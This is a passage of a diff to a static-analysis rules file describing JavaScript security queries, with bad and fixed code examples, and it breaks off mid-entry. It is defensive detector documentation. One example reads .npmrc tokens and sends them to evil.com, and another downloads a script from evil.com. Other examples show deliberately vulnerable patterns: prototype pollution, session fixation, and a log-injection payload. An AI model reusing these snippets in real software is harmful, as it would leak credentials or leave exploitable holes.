+            "text" : "# Sensitive cookie without SameSite restrictions\nAuthentication cookies where the SameSite attribute is set to \"None\" can potentially be used to perform Cross-Site Request Forgery (CSRF) attacks if no other CSRF protections are in place.\n\nWith SameSite set to \"None\", a third party website may create an authorized cross-site request that includes the cookie. Such a cross-site request can allow that website to perform actions on behalf of a user.\n\n\n## Recommendation\nSet the `SameSite` attribute to `Strict` on all sensitive cookies.\n\n\n## Example\nThe following example stores an authentication token in a cookie where the `SameSite` attribute is set to `None`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=None`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\nTo prevent the cookie from being included in cross-site requests, set the `SameSite` attribute to `Strict`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=Strict`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\n\n## References\n* MDN Web Docs: [SameSite cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite).\n* OWASP: [SameSite](https://owasp.org/www-community/SameSite).\n* Common Weakness Enumeration: [CWE-1275](https://cwe.mitre.org/data/definitions/1275.html).\n",
+            "markdown" : "# Sensitive cookie without SameSite restrictions\nAuthentication cookies where the SameSite attribute is set to \"None\" can potentially be used to perform Cross-Site Request Forgery (CSRF) attacks if no other CSRF protections are in place.\n\nWith SameSite set to \"None\", a third party website may create an authorized cross-site request that includes the cookie. Such a cross-site request can allow that website to perform actions on behalf of a user.\n\n\n## Recommendation\nSet the `SameSite` attribute to `Strict` on all sensitive cookies.\n\n\n## Example\nThe following example stores an authentication token in a cookie where the `SameSite` attribute is set to `None`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=None`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\nTo prevent the cookie from being included in cross-site requests, set the `SameSite` attribute to `Strict`.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly; SameSite=Strict`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\n\n## References\n* MDN Web Docs: [SameSite cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite).\n* OWASP: [SameSite](https://owasp.org/www-community/SameSite).\n* Common Weakness Enumeration: [CWE-1275](https://cwe.mitre.org/data/definitions/1275.html).\n"
           },
           "properties" : {
-            "tags" : [ "external/cwe/cwe-377", "external/cwe/cwe-378", "security" ],
-            "description" : "Creating a temporary file that is accessible by other users can\n lead to information disclosure and sometimes remote code execution.",
-            "id" : "js/insecure-temporary-file",
-            "kind" : "path-problem",
-            "name" : "Insecure temporary file",
+            "tags" : [ "security", "external/cwe/cwe-1275" ],
+            "description" : "Sensitive cookies where the SameSite attribute is set to \"None\" can\n              in some cases allow for Cross-Site Request Forgery (CSRF) attacks.",
+            "id" : "js/samesite-none-cookie",
+            "kind" : "problem",
+            "name" : "Sensitive cookie without SameSite restrictions",
             "precision" : "medium",
             "problem.severity" : "warning",
-            "security-severity" : "7.0"
+            "security-severity" : "5.0"
           }
         }, {
-          "id" : "js/log-injection",
-          "name" : "js/log-injection",
+          "id" : "js/remote-property-injection",
+          "name" : "js/remote-property-injection",
           "shortDescription" : {
-            "text" : "Log injection"
+            "text" : "Remote property injection"
           },
           "fullDescription" : {
-            "text" : "Building log entries from user-controlled sources is vulnerable to insertion of forged log entries by a malicious user."
+            "text" : "Allowing writes to arbitrary properties of an object may lead to denial-of-service attacks."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "error"
+            "level" : "warning"
           },
           "help" : {
-            "text" : "# Log injection\nIf unsanitized user input is written to a log entry, a malicious user may be able to forge new log entries.\n\nForgery can occur if a user provides some input with characters that are interpreted when the log output is displayed. If the log is displayed as a plain text file, then new line characters can be used by a malicious user. If the log is displayed as HTML, then arbitrary HTML may be included to spoof log entries.\n\n\n## Recommendation\nUser input should be suitably sanitized before it is logged.\n\nIf the log entries are in plain text then line breaks should be removed from user input, using `String.prototype.replace` or similar. Care should also be taken that user input is clearly marked in log entries.\n\nFor log entries that will be displayed in HTML, user input should be HTML-encoded before being logged, to prevent forgery and other forms of HTML injection.\n\n\n## Example\nIn the first example, a username, provided by the user, is logged using \\`console.info\\`. In the first case, it is logged without any sanitization. In the second case, the username is used to build an error that is logged using \\`console.error\\`. If a malicious user provides \\`username=Guest%0a\\[INFO\\]+User:+Admin%0a\\` as a username parameter, the log entry will be splitted in two different lines, where the second line will be \\`\\[INFO\\]+User:+Admin\\`.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n    let q = url.parse(req.url, true);\n\n    console.info(`[INFO] User: ${q.query.username}`); // BAD: User input logged as-is\n})\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\nIn the second example, `String.prototype.replace` is used to ensure no line endings are present in the user input.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n    let q = url.parse(req.url, true);\n\n    // GOOD: remove newlines from user controlled input before logging\n    let username = q.query.username.replace(/\\n|\\r/g, \"\");\n\n    console.info(`[INFO] User: ${username}`);\n});\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\n\n## References\n* OWASP: [Log Injection](https://www.owasp.org/index.php/Log_Injection).\n* Common Weakness Enumeration: [CWE-117](https://cwe.mitre.org/data/definitions/117.html).\n",
-            "markdown" : "# Log injection\nIf unsanitized user input is written to a log entry, a malicious user may be able to forge new log entries.\n\nForgery can occur if a user provides some input with characters that are interpreted when the log output is displayed. If the log is displayed as a plain text file, then new line characters can be used by a malicious user. If the log is displayed as HTML, then arbitrary HTML may be included to spoof log entries.\n\n\n## Recommendation\nUser input should be suitably sanitized before it is logged.\n\nIf the log entries are in plain text then line breaks should be removed from user input, using `String.prototype.replace` or similar. Care should also be taken that user input is clearly marked in log entries.\n\nFor log entries that will be displayed in HTML, user input should be HTML-encoded before being logged, to prevent forgery and other forms of HTML injection.\n\n\n## Example\nIn the first example, a username, provided by the user, is logged using \\`console.info\\`. In the first case, it is logged without any sanitization. In the second case, the username is used to build an error that is logged using \\`console.error\\`. If a malicious user provides \\`username=Guest%0a\\[INFO\\]+User:+Admin%0a\\` as a username parameter, the log entry will be splitted in two different lines, where the second line will be \\`\\[INFO\\]+User:+Admin\\`.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n    let q = url.parse(req.url, true);\n\n    console.info(`[INFO] User: ${q.query.username}`); // BAD: User input logged as-is\n})\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\nIn the second example, `String.prototype.replace` is used to ensure no line endings are present in the user input.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n    let q = url.parse(req.url, true);\n\n    // GOOD: remove newlines from user controlled input before logging\n    let username = q.query.username.replace(/\\n|\\r/g, \"\");\n\n    console.info(`[INFO] User: ${username}`);\n});\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\n\n## References\n* OWASP: [Log Injection](https://www.owasp.org/index.php/Log_Injection).\n* Common Weakness Enumeration: [CWE-117](https://cwe.mitre.org/data/definitions/117.html).\n"
+            "text" : "# Remote property injection\nDynamically computing object property names from untrusted input may have multiple undesired consequences. For example, if the property access is used as part of a write, an attacker may overwrite vital properties of objects, such as `__proto__`. This attack is known as *prototype pollution attack* and may serve as a vehicle for denial-of-service attacks. A similar attack vector, is to replace the `toString` property of an object with a primitive. Whenever `toString` is then called on that object, either explicitly or implicitly as part of a type coercion, an exception will be raised.\n\nMoreover, if the name of an HTTP header is user-controlled, an attacker may exploit this to overwrite security-critical headers such as `Access-Control-Allow-Origin` or `Content-Security-Policy`.\n\n\n## Recommendation\nThe most common case in which prototype pollution vulnerabilities arise is when JavaScript objects are used for implementing map data structures. This case should be avoided whenever possible by using the ECMAScript 2015 `Map` instead. When this is not possible, an alternative fix is to prepend untrusted input with a marker character such as `$`, before using it in properties accesses. In this way, the attacker does not have access to built-in properties which do not start with the chosen character.\n\nWhen using user input as part of a header name, a sanitization step should be performed on the input to ensure that the name does not clash with existing header names such as `Content-Security-Policy`.\n\n\n## Example\nIn the example below, the dynamically computed property `prop` is accessed on `myObj` using a user-controlled value.\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\nvar myObj = {}\n\napp.get('/user/:id', function(req, res) {\n\tvar prop = req.query.userControlled; // BAD\n\tmyObj[prop] = function() {};\n\tconsole.log(\"Request object \" + myObj);\n});\n```\nThis is not secure since an attacker may exploit this code to overwrite the property `__proto__` with an empty function. If this happens, the concatenation in the `console.log` argument will fail with a confusing message such as \"Function.prototype.toString is not generic\". If the application does not properly handle this error, this scenario may result in a serious denial-of-service attack. The fix is to prepend the user-controlled string with a marker character such as `$` which will prevent arbitrary property names from being overwritten.\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\nvar myObj = {}\n\napp.get('/user/:id', function(req, res) {\n\tvar prop = \"$\" + req.query.userControlled; // GOOD\n\tmyObj[prop] = function() {};\n\tconsole.log(\"Request object \" + myObj);\n});\n```\n\n## References\n* Prototype pollution attacks: [electron](https://github.com/electron/electron/pull/9287), [lodash](https://hackerone.com/reports/310443), [hoek](https://npmjs.com/advisories/566).\n* Penetration testing report: [ header name injection attack](http://seclists.org/pen-test/2009/Mar/67)\n* npm blog post: [ dangers of square bracket notation](https://github.com/nodesecurity/eslint-plugin-security/blob/3c7522ca1be800353513282867a1034c795d9eb4/docs/the-dangers-of-square-bracket-notation.md)\n* Common Weakness Enumeration: [CWE-250](https://cwe.mitre.org/data/definitions/250.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n",
+            "markdown" : "# Remote property injection\nDynamically computing object property names from untrusted input may have multiple undesired consequences. For example, if the property access is used as part of a write, an attacker may overwrite vital properties of objects, such as `__proto__`. This attack is known as *prototype pollution attack* and may serve as a vehicle for denial-of-service attacks. A similar attack vector, is to replace the `toString` property of an object with a primitive. Whenever `toString` is then called on that object, either explicitly or implicitly as part of a type coercion, an exception will be raised.\n\nMoreover, if the name of an HTTP header is user-controlled, an attacker may exploit this to overwrite security-critical headers such as `Access-Control-Allow-Origin` or `Content-Security-Policy`.\n\n\n## Recommendation\nThe most common case in which prototype pollution vulnerabilities arise is when JavaScript objects are used for implementing map data structures. This case should be avoided whenever possible by using the ECMAScript 2015 `Map` instead. When this is not possible, an alternative fix is to prepend untrusted input with a marker character such as `$`, before using it in properties accesses. In this way, the attacker does not have access to built-in properties which do not start with the chosen character.\n\nWhen using user input as part of a header name, a sanitization step should be performed on the input to ensure that the name does not clash with existing header names such as `Content-Security-Policy`.\n\n\n## Example\nIn the example below, the dynamically computed property `prop` is accessed on `myObj` using a user-controlled value.\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\nvar myObj = {}\n\napp.get('/user/:id', function(req, res) {\n\tvar prop = req.query.userControlled; // BAD\n\tmyObj[prop] = function() {};\n\tconsole.log(\"Request object \" + myObj);\n});\n```\nThis is not secure since an attacker may exploit this code to overwrite the property `__proto__` with an empty function. If this happens, the concatenation in the `console.log` argument will fail with a confusing message such as \"Function.prototype.toString is not generic\". If the application does not properly handle this error, this scenario may result in a serious denial-of-service attack. The fix is to prepend the user-controlled string with a marker character such as `$` which will prevent arbitrary property names from being overwritten.\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\nvar myObj = {}\n\napp.get('/user/:id', function(req, res) {\n\tvar prop = \"$\" + req.query.userControlled; // GOOD\n\tmyObj[prop] = function() {};\n\tconsole.log(\"Request object \" + myObj);\n});\n```\n\n## References\n* Prototype pollution attacks: [electron](https://github.com/electron/electron/pull/9287), [lodash](https://hackerone.com/reports/310443), [hoek](https://npmjs.com/advisories/566).\n* Penetration testing report: [ header name injection attack](http://seclists.org/pen-test/2009/Mar/67)\n* npm blog post: [ dangers of square bracket notation](https://github.com/nodesecurity/eslint-plugin-security/blob/3c7522ca1be800353513282867a1034c795d9eb4/docs/the-dangers-of-square-bracket-notation.md)\n* Common Weakness Enumeration: [CWE-250](https://cwe.mitre.org/data/definitions/250.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-117" ],
-            "description" : "Building log entries from user-controlled sources is vulnerable to\n              insertion of forged log entries by a malicious user.",
-            "id" : "js/log-injection",
+            "tags" : [ "security", "external/cwe/cwe-250", "external/cwe/cwe-400" ],
+            "description" : "Allowing writes to arbitrary properties of an object may lead to\n              denial-of-service attacks.",
+            "id" : "js/remote-property-injection",
             "kind" : "path-problem",
-            "name" : "Log injection",
+            "name" : "Remote property injection",
             "precision" : "medium",
-            "problem.severity" : "error",
-            "security-severity" : "6.1"
+            "problem.severity" : "warning",
+            "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/file-access-to-http",
-          "name" : "js/file-access-to-http",
+          "id" : "js/http-to-file-access",
+          "name" : "js/http-to-file-access",
           "shortDescription" : {
-            "text" : "File data in outbound network request"
+            "text" : "Network data written to file"
           },
           "fullDescription" : {
-            "text" : "Directly sending file data in an outbound network request can indicate unauthorized information disclosure."
+            "text" : "Writing network data directly to the file system allows arbitrary file upload and might indicate a backdoor."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# File data in outbound network request\nSending local file system data to a remote URL without further validation risks uncontrolled information exposure, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.\n\n\n## Recommendation\nExamine the highlighted code closely to ensure that it is behaving as intended.\n\n\n## Example\nThe following example is adapted from backdoor code that was identified in two popular npm packages. It reads the contents of the `.npmrc` file (which may contain secret npm tokens) and sends it to a remote server by embedding it into an HTTP request header.\n\n\n```javascript\nvar fs = require(\"fs\"),\n    https = require(\"https\");\n\nvar content = fs.readFileSync(\".npmrc\", \"utf8\");\nhttps.get({\n  hostname: \"evil.com\",\n  path: \"/upload\",\n  method: \"GET\",\n  headers: { Referer: content }\n}, () => { });\n\n```\n\n## References\n* ESLint Blog: [Postmortem for Malicious Packages Published on July 12th, 2018](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes).\n* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure).\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n",
-            "markdown" : "# File data in outbound network request\nSending local file system data to a remote URL without further validation risks uncontrolled information exposure, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.\n\n\n## Recommendation\nExamine the highlighted code closely to ensure that it is behaving as intended.\n\n\n## Example\nThe following example is adapted from backdoor code that was identified in two popular npm packages. It reads the contents of the `.npmrc` file (which may contain secret npm tokens) and sends it to a remote server by embedding it into an HTTP request header.\n\n\n```javascript\nvar fs = require(\"fs\"),\n    https = require(\"https\");\n\nvar content = fs.readFileSync(\".npmrc\", \"utf8\");\nhttps.get({\n  hostname: \"evil.com\",\n  path: \"/upload\",\n  method: \"GET\",\n  headers: { Referer: content }\n}, () => { });\n\n```\n\n## References\n* ESLint Blog: [Postmortem for Malicious Packages Published on July 12th, 2018](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes).\n* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure).\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n"
+            "text" : "# Network data written to file\nStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.\n\n\n## Recommendation\nExamine the highlighted code closely to ensure that it is behaving as intended.\n\n\n## Example\nThe following example shows backdoor code that downloads data from the URL `https://evil.com/script`, and stores it in the local file `/tmp/script`.\n\n\n```javascript\nvar https = require(\"https\");\nvar fs = require(\"fs\");\n\nhttps.get('https://evil.com/script', res => {\n  res.on(\"data\", d => {\n    fs.writeFileSync(\"/tmp/script\", d)\n  })\n});\n\n```\nOther parts of the program might then assume that since `/tmp/script` is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.\n\n\n## References\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* OWASP: [Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload).\n* Common Weakness Enumeration: [CWE-912](https://cwe.mitre.org/data/definitions/912.html).\n* Common Weakness Enumeration: [CWE-434](https://cwe.mitre.org/data/definitions/434.html).\n",
+            "markdown" : "# Network data written to file\nStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.\n\n\n## Recommendation\nExamine the highlighted code closely to ensure that it is behaving as intended.\n\n\n## Example\nThe following example shows backdoor code that downloads data from the URL `https://evil.com/script`, and stores it in the local file `/tmp/script`.\n\n\n```javascript\nvar https = require(\"https\");\nvar fs = require(\"fs\");\n\nhttps.get('https://evil.com/script', res => {\n  res.on(\"data\", d => {\n    fs.writeFileSync(\"/tmp/script\", d)\n  })\n});\n\n```\nOther parts of the program might then assume that since `/tmp/script` is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.\n\n\n## References\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* OWASP: [Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload).\n* Common Weakness Enumeration: [CWE-912](https://cwe.mitre.org/data/definitions/912.html).\n* Common Weakness Enumeration: [CWE-434](https://cwe.mitre.org/data/definitions/434.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-200" ],
-            "description" : "Directly sending file data in an outbound network request can indicate unauthorized information disclosure.",
-            "id" : "js/file-access-to-http",
+            "tags" : [ "security", "external/cwe/cwe-912", "external/cwe/cwe-434" ],
+            "description" : "Writing network data directly to the file system allows arbitrary file upload and might indicate a backdoor.",
+            "id" : "js/http-to-file-access",
             "kind" : "path-problem",
-            "name" : "File data in outbound network request",
+            "name" : "Network data written to file",
             "precision" : "medium",
             "problem.severity" : "warning",
-            "security-severity" : "6.5"
+            "security-severity" : "6.3"
           }
         }, {
-          "id" : "js/session-fixation",
-          "name" : "js/session-fixation",
+          "id" : "js/empty-password-in-configuration-file",
+          "name" : "js/empty-password-in-configuration-file",
           "shortDescription" : {
-            "text" : "Failure to abandon session"
+            "text" : "Empty password in configuration file"
           },
           "fullDescription" : {
-            "text" : "Reusing an existing session as a different user could allow an attacker to access someone else's account by using their session."
+            "text" : "Failing to set a password reduces the security of your code."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Failure to abandon session\nReusing a session could allow an attacker to gain unauthorized access to another account. Always ensure that, when a user logs in or out, the current session is abandoned so that a new session may be started.\n\n\n## Recommendation\nAlways use `req.session.regenerate(...);` to start a new session when a user logs in or out.\n\n\n## Example\nThe following example shows the previous session being used after authentication. This would allow a previous user to use the new user's account.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n    secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n    // Check that username password matches\n    if (req.body.username === 'admin' && req.body.password === 'admin') {\n        req.session.authenticated = true;\n        res.redirect('/');\n    } else {\n        res.redirect('/login');\n    }\n});\n```\nThis code example solves the problem by not reusing the session, and instead calling `req.session.regenerate()` to ensure that the session is not reused.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n    secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n    // Check that username password matches\n    if (req.body.username === 'admin' && req.body.password === 'admin') {\n        req.session.regenerate(function (err) {\n            if (err) {\n                res.send('Error');\n            } else {\n                req.session.authenticated = true;\n                res.redirect('/');\n            }\n        });\n    } else {\n        res.redirect('/login');\n    }\n});\n```\n\n## References\n* OWASP: [Session fixation](https://www.owasp.org/index.php/Session_fixation)\n* Stack Overflow: [Creating a new session after authentication with Passport](https://stackoverflow.com/questions/22209354/creating-a-new-session-after-authentication-with-passport/30468384#30468384)\n* jscrambler.com: [Best practices for secure session management in Node](https://blog.jscrambler.com/best-practices-for-secure-session-management-in-node)\n* Common Weakness Enumeration: [CWE-384](https://cwe.mitre.org/data/definitions/384.html).\n",
-            "markdown" : "# Failure to abandon session\nReusing a session could allow an attacker to gain unauthorized access to another account. Always ensure that, when a user logs in or out, the current session is abandoned so that a new session may be started.\n\n\n## Recommendation\nAlways use `req.session.regenerate(...);` to start a new session when a user logs in or out.\n\n\n## Example\nThe following example shows the previous session being used after authentication. This would allow a previous user to use the new user's account.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n    secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n    // Check that username password matches\n    if (req.body.username === 'admin' && req.body.password === 'admin') {\n        req.session.authenticated = true;\n        res.redirect('/');\n    } else {\n        res.redirect('/login');\n    }\n});\n```\nThis code example solves the problem by not reusing the session, and instead calling `req.session.regenerate()` to ensure that the session is not reused.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n    secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n    // Check that username password matches\n    if (req.body.username === 'admin' && req.body.password === 'admin') {\n        req.session.regenerate(function (err) {\n            if (err) {\n                res.send('Error');\n            } else {\n                req.session.authenticated = true;\n                res.redirect('/');\n            }\n        });\n    } else {\n        res.redirect('/login');\n    }\n});\n```\n\n## References\n* OWASP: [Session fixation](https://www.owasp.org/index.php/Session_fixation)\n* Stack Overflow: [Creating a new session after authentication with Passport](https://stackoverflow.com/questions/22209354/creating-a-new-session-after-authentication-with-passport/30468384#30468384)\n* jscrambler.com: [Best practices for secure session management in Node](https://blog.jscrambler.com/best-practices-for-secure-session-management-in-node)\n* Common Weakness Enumeration: [CWE-384](https://cwe.mitre.org/data/definitions/384.html).\n"
+            "text" : "# Empty password in configuration file\nThe use of an empty string as a password in a configuration file is not secure.\n\n\n## Recommendation\nChoose a strong password and encrypt it if it has to be stored in a configuration file.\n\n\n## References\n* Common Weakness Enumeration: [CWE-258](https://cwe.mitre.org/data/definitions/258.html).\n* Common Weakness Enumeration: [CWE-862](https://cwe.mitre.org/data/definitions/862.html).\n",
+            "markdown" : "# Empty password in configuration file\nThe use of an empty string as a password in a configuration file is not secure.\n\n\n## Recommendation\nChoose a strong password and encrypt it if it has to be stored in a configuration file.\n\n\n## References\n* Common Weakness Enumeration: [CWE-258](https://cwe.mitre.org/data/definitions/258.html).\n* Common Weakness Enumeration: [CWE-862](https://cwe.mitre.org/data/definitions/862.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-384" ],
-            "description" : "Reusing an existing session as a different user could allow\n              an attacker to access someone else's account by using\n              their session.",
-            "id" : "js/session-fixation",
+            "tags" : [ "security", "external/cwe/cwe-258", "external/cwe/cwe-862" ],
+            "description" : "Failing to set a password reduces the security of your code.",
+            "id" : "js/empty-password-in-configuration-file",
             "kind" : "problem",
-            "name" : "Failure to abandon session",
+            "name" : "Empty password in configuration file",
             "precision" : "medium",
             "problem.severity" : "warning",
-            "security-severity" : "5"
+            "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/remote-property-injection",
-          "name" : "js/remote-property-injection",
+          "id" : "js/password-in-configuration-file",
+          "name" : "js/password-in-configuration-file",
           "shortDescription" : {
-            "text" : "Remote property injection"
+            "text" : "Password in configuration file"
           },
           "fullDescription" : {
-            "text" : "Allowing writes to arbitrary properties of an object may lead to denial-of-service attacks."
+            "text" : "Storing unencrypted passwords in configuration files is unsafe."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Remote property injection\nDynamically computing object property names from untrusted input may have multiple undesired consequences. For example, if the property access is used as part of a write, an attacker may overwrite vital properties of objects, such as `__proto__`. This attack is known as *prototype pollution attack* and may serve as a vehicle for denial-of-service attacks. A similar attack vector, is to replace the `toString` property of an object with a primitive. Whenever `toString` is then called on that object, either explicitly or implicitly as part of a type coercion, an exception will be raised.\n\nMoreover, if the name of an HTTP header is user-controlled, an attacker may exploit this to overwrite security-critical headers such as `Access-Control-Allow-Origin` or `Content-Security-Policy`.\n\n\n## Recommendation\nThe most common case in which prototype pollution vulnerabilities arise is when JavaScript objects are used for implementing map data structures. This case should be avoided whenever possible by using the ECMAScript 2015 `Map` instead. When this is not possible, an alternative fix is to prepend untrusted input with a marker character such as `$`, before using it in properties accesses. In this way, the attacker does not have access to built-in properties which do not start with the chosen character.\n\nWhen using user input as part of a header name, a sanitization step should be performed on the input to ensure that the name does not clash with existing header names such as `Content-Security-Policy`.\n\n\n## Example\nIn the example below, the dynamically computed property `prop` is accessed on `myObj` using a user-controlled value.\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\nvar myObj = {}\n\napp.get('/user/:id', function(req, res) {\n\tvar prop = req.query.userControlled; // BAD\n\tmyObj[prop] = function() {};\n\tconsole.log(\"Request object \" + myObj);\n});\n```\nThis is not secure since an attacker may exploit this code to overwrite the property `__proto__` with an empty function. If this happens, the concatenation in the `console.log` argument will fail with a confusing message such as \"Function.prototype.toString is not generic\". If the application does not properly handle this error, this scenario may result in a serious denial-of-service attack. The fix is to prepend the user-controlled string with a marker character such as `$` which will prevent arbitrary property names from being overwritten.\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\nvar myObj = {}\n\napp.get('/user/:id', function(req, res) {\n\tvar prop = \"$\" + req.query.userControlled; // GOOD\n\tmyObj[prop] = function() {};\n\tconsole.log(\"Request object \" + myObj);\n});\n```\n\n## References\n* Prototype pollution attacks: [electron](https://github.com/electron/electron/pull/9287), [lodash](https://hackerone.com/reports/310443), [hoek](https://npmjs.com/advisories/566).\n* Penetration testing report: [ header name injection attack](http://seclists.org/pen-test/2009/Mar/67)\n* npm blog post: [ dangers of square bracket notation](https://github.com/nodesecurity/eslint-plugin-security/blob/3c7522ca1be800353513282867a1034c795d9eb4/docs/the-dangers-of-square-bracket-notation.md)\n* Common Weakness Enumeration: [CWE-250](https://cwe.mitre.org/data/definitions/250.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n",
-            "markdown" : "# Remote property injection\nDynamically computing object property names from untrusted input may have multiple undesired consequences. For example, if the property access is used as part of a write, an attacker may overwrite vital properties of objects, such as `__proto__`. This attack is known as *prototype pollution attack* and may serve as a vehicle for denial-of-service attacks. A similar attack vector, is to replace the `toString` property of an object with a primitive. Whenever `toString` is then called on that object, either explicitly or implicitly as part of a type coercion, an exception will be raised.\n\nMoreover, if the name of an HTTP header is user-controlled, an attacker may exploit this to overwrite security-critical headers such as `Access-Control-Allow-Origin` or `Content-Security-Policy`.\n\n\n## Recommendation\nThe most common case in which prototype pollution vulnerabilities arise is when JavaScript objects are used for implementing map data structures. This case should be avoided whenever possible by using the ECMAScript 2015 `Map` instead. When this is not possible, an alternative fix is to prepend untrusted input with a marker character such as `$`, before using it in properties accesses. In this way, the attacker does not have access to built-in properties which do not start with the chosen character.\n\nWhen using user input as part of a header name, a sanitization step should be performed on the input to ensure that the name does not clash with existing header names such as `Content-Security-Policy`.\n\n\n## Example\nIn the example below, the dynamically computed property `prop` is accessed on `myObj` using a user-controlled value.\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\nvar myObj = {}\n\napp.get('/user/:id', function(req, res) {\n\tvar prop = req.query.userControlled; // BAD\n\tmyObj[prop] = function() {};\n\tconsole.log(\"Request object \" + myObj);\n});\n```\nThis is not secure since an attacker may exploit this code to overwrite the property `__proto__` with an empty function. If this happens, the concatenation in the `console.log` argument will fail with a confusing message such as \"Function.prototype.toString is not generic\". If the application does not properly handle this error, this scenario may result in a serious denial-of-service attack. The fix is to prepend the user-controlled string with a marker character such as `$` which will prevent arbitrary property names from being overwritten.\n\n\n```javascript\nvar express = require('express');\n\nvar app = express();\nvar myObj = {}\n\napp.get('/user/:id', function(req, res) {\n\tvar prop = \"$\" + req.query.userControlled; // GOOD\n\tmyObj[prop] = function() {};\n\tconsole.log(\"Request object \" + myObj);\n});\n```\n\n## References\n* Prototype pollution attacks: [electron](https://github.com/electron/electron/pull/9287), [lodash](https://hackerone.com/reports/310443), [hoek](https://npmjs.com/advisories/566).\n* Penetration testing report: [ header name injection attack](http://seclists.org/pen-test/2009/Mar/67)\n* npm blog post: [ dangers of square bracket 